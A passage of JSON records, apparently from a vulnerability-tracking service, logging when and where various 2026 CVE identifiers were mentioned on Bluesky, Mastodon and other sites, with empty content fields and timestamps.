"https://infosec.exchange/users/AAKL/statuses/116053115427198719", "content": "", "creation_timestamp": "2026-02-11T17:13:29.242444Z"}, {"uuid": "f12a068e-bbf6-4852-8f24-4d2678689645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3menvh3ghe626", "content": "", "creation_timestamp": "2026-02-12T11:33:06.078171Z"}, {"uuid": "e30e0edf-bed1-4005-a520-4bca9feeaad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20027", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116053115427198719", "content": "", "creation_timestamp": "2026-02-11T17:13:29.314990Z"}, {"uuid": "c20334f0-1a29-4905-966a-c6fd54ff3b9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/buhosec.org/post/3mely7urwa22x", "content": "", "creation_timestamp": "2026-02-11T17:17:35.001263Z"}, {"uuid": "bf97ae41-043f-4c2b-8496-5efdc1c79efb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mg46acnf222a", "content": "", "creation_timestamp": "2026-03-02T21:12:53.835466Z"}, {"uuid": "a2c59764-660b-4310-aba3-cf3be916d7be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/taggart-tech.com/post/3melyaebrl426", "content": "", "creation_timestamp": "2026-02-11T17:17:44.241865Z"}, {"uuid": "f4691801-2947-45db-b2d4-1c98d7dba66e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://infosec.exchange/users/mttaggart/statuses/116053131980991105", "content": "", "creation_timestamp": "2026-02-11T17:17:45.704262Z"}, {"uuid": "7113e398-c7b8-4b8c-a693-9b8972acbd80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20051", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpaoileeh2e", "content": "", "creation_timestamp": "2026-02-25T17:51:56.563083Z"}, {"uuid": "b126a1ca-c22d-4282-a4f8-eb2f5fe88d45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/piger.mastodon.social.ap.brid.gy/post/3melyle5tmkf2", "content": "", "creation_timestamp": "2026-02-11T17:26:00.439658Z"}, {"uuid": "d3134c08-398b-4179-8381-1ffe1fc1bbf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfparp7eob2x", "content": "", "creation_timestamp": "2026-02-25T17:53:44.827797Z"}, {"uuid": "fb992f56-a0ea-4bde-b8f1-db14426a396f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpas5agdy2t", "content": "", "creation_timestamp": "2026-02-25T17:53:59.190675Z"}, {"uuid": "a89fd50f-93a9-4d44-a25f-f4e375b5a37c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/115990556481161215", "content": "", "creation_timestamp": "2026-01-31T16:03:55.139024Z"}, {"uuid": "a70474a6-5041-4915-b98a-552a1a1791e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3meny6vzb352e", "content": "", "creation_timestamp": "2026-02-12T12:22:12.813317Z"}, {"uuid": "2eab425a-1bfc-4e5c-9152-a5f0ca767093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfparwe47r25", "content": "", "creation_timestamp": "2026-02-25T17:53:52.295307Z"}, {"uuid": "d74236d2-ef0d-4058-88c8-aed6a5881eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mg46dqa4uc2a", "content": "", "creation_timestamp": "2026-03-02T21:14:48.758380Z"}, {"uuid": "19fee9d4-6b22-4e41-bf20-17118423fbd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20048", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpaty7kya2d", "content": "", "creation_timestamp": "2026-02-25T17:55:01.572255Z"}, {"uuid": "0f1a1869-6d20-4800-8e57-0273862048d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/ntkramer.bsky.social/post/3mdqboj7jut2k", "content": "", "creation_timestamp": "2026-01-31T16:52:08.866251Z"}, {"uuid": "c1663009-10f1-48fc-8856-0772d09b5057", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20048", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpavcvkkm2k", "content": "", "creation_timestamp": "2026-02-25T17:55:46.502752Z"}, {"uuid": "25f68ffd-99a5-4ebb-bfdc-f6579974892b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mg46jjn4dc2a", "content": "", "creation_timestamp": "2026-03-02T21:18:00.201183Z"}, {"uuid": "eb8a128c-eaf2-40e2-8335-4636943b9cd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20777", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgdkhfcbv72w", "content": "", "creation_timestamp": "2026-03-05T19:40:10.462194Z"}, {"uuid": "8eb9a34a-448d-4b27-ac3f-ba9d9dab4997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://infosec.exchange/users/ntkramer/statuses/115990745898434180", "content": "", "creation_timestamp": "2026-01-31T16:53:17.728391Z"}, {"uuid": "78c6bd75-5ab4-4886-8318-76a57ebb65de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3menyp55kgb2t", "content": "", "creation_timestamp": "2026-02-12T12:31:16.772002Z"}, {"uuid": "da4bbd36-a75f-4178-9ae2-ebdc2a44e132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20732", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me4nhuumkx2q", "content": "", "creation_timestamp": "2026-02-05T14:55:07.391042Z"}, {"uuid": "9a1aae3c-7453-4996-8543-247c9edb25a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://threatintel.cc/2026/01/31/kerberos-authentication-relay-via-dns.html", "content": "", "creation_timestamp": "2026-01-31T15:04:00.000000Z"}, {"uuid": "1606c7c0-f8c2-490b-874b-34b40114a68c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20730", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me4nhuumkx2q", "content": "", "creation_timestamp": "2026-02-05T14:55:07.267101Z"}, {"uuid": "fdf2ffaf-c2ed-4da3-9302-776bd06f8acc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3melzmowxnw2v", "content": "", "creation_timestamp": "2026-02-11T17:42:28.944214Z"}, {"uuid": "3456bc7b-e3aa-428f-b73c-31ffa956be59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116172176223102543", "content": "", "creation_timestamp": "2026-03-04T17:52:12.341059Z"}, {"uuid": "338f25eb-1a86-44e8-9084-a50a17ac3827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20098", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me4ni22qci2j", "content": "", "creation_timestamp": "2026-02-05T14:55:12.598461Z"}, {"uuid": "28f5e9e8-7bc8-4740-9e88-d01d4ef29a41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/5923021", "content": "", "creation_timestamp": "2026-03-04T01:44:25.281639Z"}, {"uuid": "55343ce9-cb5a-4644-baaa-c9aa0e1f76a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20119", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me4ni22qci2j", "content": "", "creation_timestamp": "2026-02-05T14:55:12.725838Z"}, {"uuid": "5b89cc90-27fe-4b8c-8081-21122071036f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/eltableroglobal.bsky.social/post/3mem2jxsjoc2a", "content": "", "creation_timestamp": "2026-02-11T17:58:51.638976Z"}, {"uuid": "6c446c76-2ab9-49d9-b269-450541f59e63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20048", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpayblxbb25", "content": "", "creation_timestamp": "2026-02-25T17:57:25.106813Z"}, {"uuid": "7f3dcc3d-b798-414a-9b5f-44480d5dc07f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/newsnexttech.bsky.social/post/3mfsj4tisrv2l", "content": "", "creation_timestamp": "2026-02-27T01:01:07.381901Z"}, {"uuid": "fc1ec65c-f596-439c-b4c5-2b7d9e4b841d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2086", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116033482248476588", "content": "", "creation_timestamp": "2026-02-08T06:00:31.744463Z"}, {"uuid": "10b94cde-1096-464d-8d04-6bde4fd98e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2086", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3medayqoco22b", "content": "", "creation_timestamp": "2026-02-08T06:00:32.561938Z"}, {"uuid": "dac096c8-2f7b-4846-b61b-10cc50a951ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/eltableroglobal.bsky.social/post/3mem2jyda4626", "content": "", "creation_timestamp": "2026-02-11T17:58:52.417901Z"}, {"uuid": "6537d38b-3617-4ea0-9121-381ef006ce5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/monikawalker.bsky.social/post/3mfsj5fh2br2d", "content": "", "creation_timestamp": "2026-02-27T01:01:25.466994Z"}, {"uuid": "21f30753-a7a0-4ea1-9763-9822263a8341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/116199095055564768", "content": "", "creation_timestamp": "2026-03-09T11:58:01.690108Z"}, {"uuid": "a52a2787-2615-486b-8ebb-67ecca204d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3mem2py52qm2p", "content": "", "creation_timestamp": "2026-02-11T18:02:13.528080Z"}, {"uuid": "0695e671-d9f4-4846-9302-5a3ea7a08014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/116057764224014241", "content": "", "creation_timestamp": "2026-02-12T12:55:43.729484Z"}, {"uuid": "bab403d0-1c53-4afc-8323-4f70c9f43d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3meo2333j6k2b", "content": "", "creation_timestamp": "2026-02-12T12:55:52.605992Z"}, {"uuid": "9718fa14-d941-4c3e-ba55-6abfe8a21fcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mem3q3flaf25", "content": "", "creation_timestamp": "2026-02-11T18:20:10.429167Z"}, {"uuid": "d9d149ac-f53b-444c-b1c7-ad470263f400", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mfpbaoag5u2z", "content": "", "creation_timestamp": "2026-02-25T18:02:07.340824Z"}, {"uuid": "ef3ca751-4d1a-4daa-8bcb-48a821b2d008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mem3rs6tx624", "content": "", "creation_timestamp": "2026-02-11T18:21:08.637923Z"}, {"uuid": "42854621-ee4c-4dad-ad6b-521abb323c61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/ercanceviz.bsky.social/post/3mevsnke37n2h", "content": "", "creation_timestamp": "2026-02-15T15:04:19.416374Z"}, {"uuid": "e3d5a571-8974-44fe-b7c4-1987304e7fea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/redhotcyber.bsky.social/post/3mfiz6wwov22a", "content": "", "creation_timestamp": "2026-02-23T06:22:00.693470Z"}, {"uuid": "9aaa1a29-dc0a-4c30-9c5a-2bbce78c220c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20803", "type": "seen", "source": "https://bsky.app/profile/aws-skeetbot.lastweekinaws.com/post/3mfney75sy52b", "content": "", "creation_timestamp": "2026-02-25T00:03:37.566826Z"}, {"uuid": "126d18dd-7f91-4e44-a336-3f4cbe9b9ba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mfpbdo54if24", "content": "", "creation_timestamp": "2026-02-25T18:03:47.412857Z"}, {"uuid": "e68278f1-162c-48a0-842c-9a7c8ce56779", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3meo2jnzpqh26", "content": "", "creation_timestamp": "2026-02-12T13:04:01.779975Z"}, {"uuid": "211a8837-dacf-4aef-a11c-8ff1e862ce72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20803", "type": "seen", "source": "https://bsky.app/profile/awsrecentnews.bsky.social/post/3mfnfezmjzx2a", "content": "", "creation_timestamp": "2026-02-25T00:10:48.393218Z"}, {"uuid": "0f74f6c1-5176-4126-b7d4-69e493f35eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mg7addht2w2h", "content": "", "creation_timestamp": "2026-03-04T02:28:18.076031Z"}, {"uuid": "decd80b3-194e-4ed1-9521-1d359e9ff9ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3meo2mzupwk2u", "content": "", "creation_timestamp": "2026-02-12T13:05:53.734334Z"}, {"uuid": "87cc4c73-1cf2-4476-b67d-0d915b2f1002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2047", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfnfvqt7zj22", "content": "", "creation_timestamp": "2026-02-25T00:20:09.367103Z"}, {"uuid": "01e5503c-a5a1-4ff7-a61d-308bab9d776c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/serriadh.social.treehouse.systems.ap.brid.gy/post/3mel23sxvyny2", "content": "", "creation_timestamp": "2026-02-11T08:18:18.660830Z"}, {"uuid": "c0b8c474-a7dc-41bb-b878-ac8ec09d5fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/androidcompl.bsky.social/post/3mem4byvkhn2u", "content": "", "creation_timestamp": "2026-02-11T18:30:12.674555Z"}, {"uuid": "28a06ca0-4b11-4e00-ac55-8097e3654678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2048", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfngzjkyxa2x", "content": "", "creation_timestamp": "2026-02-25T00:40:10.148897Z"}, {"uuid": "efbea845-db81-48aa-95f5-016817ead645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2044", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfni5gwebp2e", "content": "", "creation_timestamp": "2026-02-25T01:00:14.901876Z"}, {"uuid": "eb2beebd-0eb4-4477-9696-b98ce1d3fe36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mel2jfziz22t", "content": "", "creation_timestamp": "2026-02-11T08:25:53.037883Z"}, {"uuid": "86f24dab-a035-4175-b9da-f77504393d6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/mttaggart/statuses/116172236845020794", "content": "", "creation_timestamp": "2026-03-04T18:07:37.738130Z"}, {"uuid": "e0e45444-baac-4bea-8f49-b770baaed1bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://gist.github.com/wjfthomas318-rgb/5eb1bae5750157b0d4bf7e7b2447d92f", "content": "", "creation_timestamp": "2026-02-01T00:50:27.000000Z"}, {"uuid": "96231dc7-610e-4e3c-8ad1-26696d82512b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hnbot.gsuscs.xyz/post/3mel2rnswgk2e", "content": "", "creation_timestamp": "2026-02-11T08:30:30.977002Z"}, {"uuid": "28829355-d40f-41e9-82df-36d26ff1325c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/applsec.bsky.social/post/3mem4n4e4aq2x", "content": "", "creation_timestamp": "2026-02-11T18:36:24.543788Z"}, {"uuid": "1867185f-1766-4222-b73a-4f967ce3a0da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20428", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116158838343422570", "content": "", "creation_timestamp": "2026-03-02T09:20:12.508152Z"}, {"uuid": "31413c18-74ca-46f1-b52a-208ecbc604ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20792", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg4byosdyl2x", "content": "", "creation_timestamp": "2026-03-02T22:20:09.163375Z"}, {"uuid": "88b4b0f7-c6c8-4df5-af92-b85d4e593602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/taggart-tech.com/post/3mgausywhdj2d", "content": "", "creation_timestamp": "2026-03-04T18:07:38.125495Z"}, {"uuid": "fa41c10c-8f17-44a8-b0eb-ae2e41d85dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3me2avypk4l2q", "content": "", "creation_timestamp": "2026-02-04T16:05:02.169124Z"}, {"uuid": "78137f4e-cd67-4972-9730-d61789db9dfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hackernewstop5.bsky.social/post/3mel2vjuax42r", "content": "", "creation_timestamp": "2026-02-11T08:32:40.159705Z"}, {"uuid": "25b014f9-2924-4e4e-88d6-46743f710c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3meo4hmunxd2e", "content": "", "creation_timestamp": "2026-02-12T13:38:40.368248Z"}, {"uuid": "d2034b7a-0f3f-42b6-a8e6-0e82107d26d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mfsmxkdhbc23", "content": "", "creation_timestamp": "2026-02-27T02:09:45.083954Z"}, {"uuid": "36d91e71-3c1f-4c8a-8935-f8646e137ad1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/taggart-tech.com/post/3mgaut62z722w", "content": "", "creation_timestamp": "2026-03-04T18:07:43.403405Z"}, {"uuid": "96bccbc8-f198-4fc4-a866-7cf31209fe1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/116165530800383310", "content": "", "creation_timestamp": "2026-03-03T13:42:11.283488Z"}, {"uuid": "8c6c004f-cc03-4739-b8e7-cd072408f3cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://infosec.exchange/users/mttaggart/statuses/116172237196258078", "content": "", "creation_timestamp": "2026-03-04T18:07:43.831746Z"}, {"uuid": "0fd37365-4998-473b-826c-982102db2603", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://infosec.exchange/users/applsec/statuses/116053441380483263", "content": "", "creation_timestamp": "2026-02-11T18:36:34.785093Z"}, {"uuid": "84f6f16b-0355-4cf0-b3e7-8347471dfb06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mg5vjotxuc2h", "content": "", "creation_timestamp": "2026-03-03T13:42:23.059527Z"}, {"uuid": "1d4ee6bd-ec8a-421f-8dbd-08465e9bbae8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 